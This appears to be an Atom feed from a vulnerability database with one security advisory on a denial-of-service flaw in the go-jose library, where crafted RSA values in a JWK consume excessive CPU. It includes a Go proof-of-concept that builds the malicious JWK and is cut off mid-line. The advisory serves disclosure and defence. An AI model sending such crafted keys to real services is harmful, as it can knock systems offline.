<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-11-09T03:36:00.162187+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-mgcc-cww5-fp2q</id>
    <title>GHSA-mgcc-cww5-fp2q — Go JOSE: DoS when parsing JWKs that contain RSA keys</title>
    <updated>2026-11-09T03:36:00.172053+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Go: github.com/go-jose/go-jose/v4, Go: github.com/go-jose/go-jose/v3</p>
<p>### Summary</p>
<p>A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.</p>
<p>### Details</p>
<p>go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.</p>
<p>https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700</p>
<p>### Proof of concept</p>
<p>No special configuration of go-jose is required to reproduce this vulnerability.</p>
<p>```go
package main</p>
<p>import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"</p>
<p>"github.com/go-jose/go-jose/v4"
)</p>
<p>func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)</p>
<p>jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}</p>
<p>protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(pro…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-mgcc-cww5-fp2q"/>
  </entry>
</feed>
